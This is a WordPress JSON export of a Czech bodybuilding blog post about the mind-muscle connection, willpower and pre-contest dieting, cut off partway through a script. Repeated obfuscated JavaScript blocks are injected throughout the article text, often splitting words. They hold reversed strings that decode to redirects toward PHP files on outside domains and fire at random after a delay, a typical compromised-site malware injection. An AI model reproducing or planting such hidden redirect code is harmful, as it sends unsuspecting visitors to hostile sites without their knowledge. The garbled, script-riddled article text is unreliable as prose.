{"id":713,"date":"2022-06-18T13:49:15","date_gmt":"2022-06-18T13:49:15","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=713"},"modified":"2022-06-18T13:49:17","modified_gmt":"2022-06-18T13:49:17","slug":"svaly-vs-mysl","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2022\/06\/18\/svaly-vs-mysl\/","title":{"rendered":"SVALY vs. MYSL"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">Zam\u011b\u0159te se na propojen\u00ed mezi svalem a mysl\u00ed a objevte v\u00a0sob\u011b vnit\u0159n\u00ed s\u00edlu, kter\u00e1 v\u00e1m pom\u016f\u017ee k\u00a0v\u011bt\u0161\u00edmu \u00fasp\u011bchu v\u00a0posilovn\u011b i mimo ni.<\/h1>\n\n\n\n<p>Jako tvrd\u011b tr\u00e9nuj\u00edc\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci u\u017e jist\u011b v\u00edte, co znamenaj\u00ed slova pevn\u00e1 v\u016fle a ob\u011btavost. P\u0159esn\u011b tyhle vlastnosti v&nbsp;sob\u011b posilujete poka\u017ed\u00e9, kdy\u017e si ve\u010der nelehnete na gau\u010d, ale jdete cvi\u010dit, v\u017edycky, kdy\u017e si k&nbsp;sn\u00eddani ned\u00e1te koblihu, ale omeletu z&nbsp;b\u00edlk\u016f. \u00dasp\u011bch je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e v&nbsp;mnoha ohledech sp\u00ed\u0161e d\u00edlem \u00fasil\u00ed nikoliv v\u00fdsledkem talentu. A v\u017edycky d\u00e1v\u00e1 smysl p\u0159istupovat k&nbsp;tr\u00e9ninku s&nbsp;pozitivn\u00edm nalad\u011bn\u00edm, vyzbrojeni v\u00edrou, \u017ee ze sebe vyd\u00e1te maximum. Prakticky ka\u017ed\u00e9ho za\u010d\u00e1te\u010dn\u00edka, kter\u00fd posb\u00edr\u00e1 p\u00e1r zku\u0161enost\u00ed, d\u0159\u00edve nebo pozd\u011bji p\u0159ekvap\u00ed, jak moc jsou tr\u00e9ninkov\u00e9 v\u00fdsledky ovlivn\u011bny ment\u00e1ln\u00edm nastaven\u00edm. V\u011bt\u0161ina renomovan\u00fdch tren\u00e9r\u016f tvrd\u00ed, \u017ee sport je ze 100 % o psychice. A na\u0161e psychika velmi \u00fazce souvis\u00ed s&nbsp;fyzi\u010dkou, co\u017e samoz\u0159ejm\u011b plat\u00ed i naopak.<\/p>\n\n\n\n<p>F\u00e1ze, kdy si <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tohle v\u0161echno uv\u011bdom\u00edte, je pro va\u0161i dal\u0161\u00ed kari\u00e9ru napros<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to z\u00e1sadn\u00ed. V&nbsp;tu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to chv\u00edli ale obvykle neum\u00edte s&nbsp;ment\u00e1ln\u00edm aspektem v\u00fdkonu pracovat. A zejm\u00e9na v&nbsp;p\u0159edsout\u011b\u017en\u00edm obdob\u00ed v\u00e1s slabiny psychiky doh\u00e1n\u00ed na ka\u017ed\u00e9m kroku. Hlavn\u011b, co se t\u00fd\u010de diety. Bez ohledu na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, v&nbsp;jak\u00e9 kategorii z\u00e1vod\u00edte, doba p\u0159ed sout\u011b\u017e\u00ed b\u00fdv\u00e1 n\u00e1ro\u010dn\u00e1 a dieta skute\u010dn\u011b mu\u010div\u00e1. Jen se p\u0159iznejte, koho z&nbsp;v\u00e1s pron\u00e1sleduj\u00ed my\u0161lenky na j\u00eddla, kter\u00e1 si nem\u016f\u017eete dop\u0159\u00e1t. A kdy\u017e chyb\u00ed ohledupln\u00e9, ch\u00e1paj\u00edc\u00ed okol\u00ed, je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to v\u0161echno mnohem t\u011b\u017e\u0161\u00ed.<\/p>\n\n\n\n<p>P\u0159ijde \u010das ob\u011bda a vy otev\u00edr\u00e1te krabi\u010dku s&nbsp;ku\u0159ec\u00edmi prs\u00ed\u010dky, zeleninou a r\u00fd\u017e\u00ed, zat\u00edmco na druh\u00e9m konci kancel\u00e1\u0159e pr\u00e1v\u011b posl\u00ed\u010dek rozd\u011bluje koleg\u016fm krabice s&nbsp;pizzou. N\u011bkdo zachyt\u00ed v\u00e1\u0161 smutn\u00fd pohled nab\u00eddne v\u00e1m. &nbsp;Neodol\u00e1te a d\u00e1te si alespo\u0148 mal\u00fd kousek nebo z\u016fstanete v\u011brn\u00ed sv\u00e9 diet\u011b?<\/p>\n\n\n\n<p>Ti nejoddan\u011bj\u0161\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci \u0159eknou \u201ene, d\u00edky\u201c bez mrknut\u00ed oka, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee jejich mozek u\u017e je prost\u011b takhle nastaven\u00fd. Takov\u00fd p\u0159\u00edstup si ale v\u011bt\u0161inou museli vytr\u00e9novat stejn\u011b, jako svoje svaly. Tud\u00ed\u017e <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, co t\u0159eba tak dob\u0159e nezvl\u00e1d\u00e1te nyn\u00ed, si v\u00fdhledov\u011b m\u016f\u017eete bravurn\u011b osvojit, pokud na sob\u011b adekv\u00e1tn\u011b zapracujete. Jen je dobr\u00e9 si uv\u011bdomit, \u017ee kapacita va\u0161\u00ed sebekontroly nen\u00ed nekone\u010dn\u00e1. <strong>D\u00e1v\u00e1 tedy smysl na sebe kl\u00e1st n\u00e1roky, ale mus\u00ed b\u00fdt rozumn\u00e9 a re\u00e1ln\u00e9. Postupn\u011b je m\u016f\u017eete navy\u0161ovat a tr\u00e9novat tak svoji v\u016fli.<\/strong><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>KDY\u017d SE MYSL POTK\u00c1V\u00c1 SE SVALY<\/strong><\/h2>\n\n\n\n<p>M\u00e1lokdo <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho v\u00ed o pevn\u00e9 v\u016fli <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik co kulturist\u00e9 a z\u00e1stupci dal\u0161\u00edch sout\u011b\u017en\u00edch kategori\u00ed. \u0158ada z&nbsp;nich v\u00e1m potvrd\u00ed, \u017ee fyzick\u00e1 bolest, kterou c\u00edt\u00ed p\u0159i tr\u00e9ninku, je pro n\u011b sv\u00fdm zp\u016fsobem n\u00e1vykov\u00e1, vede k&nbsp;euforii a posiluje motivaci. Ka\u017ed\u00fd m\u00e1 samoz\u0159ejm\u011b sv\u00e9 slab\u00e9 chvilky, p\u0159ekon\u00e1v\u00e1 poku\u0161en\u00ed v\u0161echno vzd\u00e1t a okusit sladk\u00e9 leno\u0161en\u00ed. V&nbsp;takov\u00fdch situac\u00edch je z\u00e1sadn\u00ed m\u00edt p\u0159ed sebou jasn\u00fd c\u00edl a kolem sebe lidi, kte\u0159\u00ed jsou v\u00e1m oporou. Pravdou je, \u017ee \u00fasp\u011b\u0161n\u00fd spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec se nevymlouv\u00e1, um\u00ed \u010delit stagnaci a zvl\u00e1dne celou \u0159adu p\u0159ek\u00e1\u017eek nejenom p\u0159ekonat, ale tak\u00e9 p\u0159estav\u011bt tak, aby vz\u00e1p\u011bt\u00ed pracovaly pro n\u011bj.<\/p>\n\n\n\n<p>Lid\u00e9 \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zapom\u00ednaj\u00ed na <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee cesta k&nbsp;\u00fasp\u011bchu je n\u00e1ro\u010dn\u00e1 a trnit\u00e1. Kdyby <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to bylo v\u0161echno jednoduch\u00e9, nem\u011bli byste kolem sebe <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 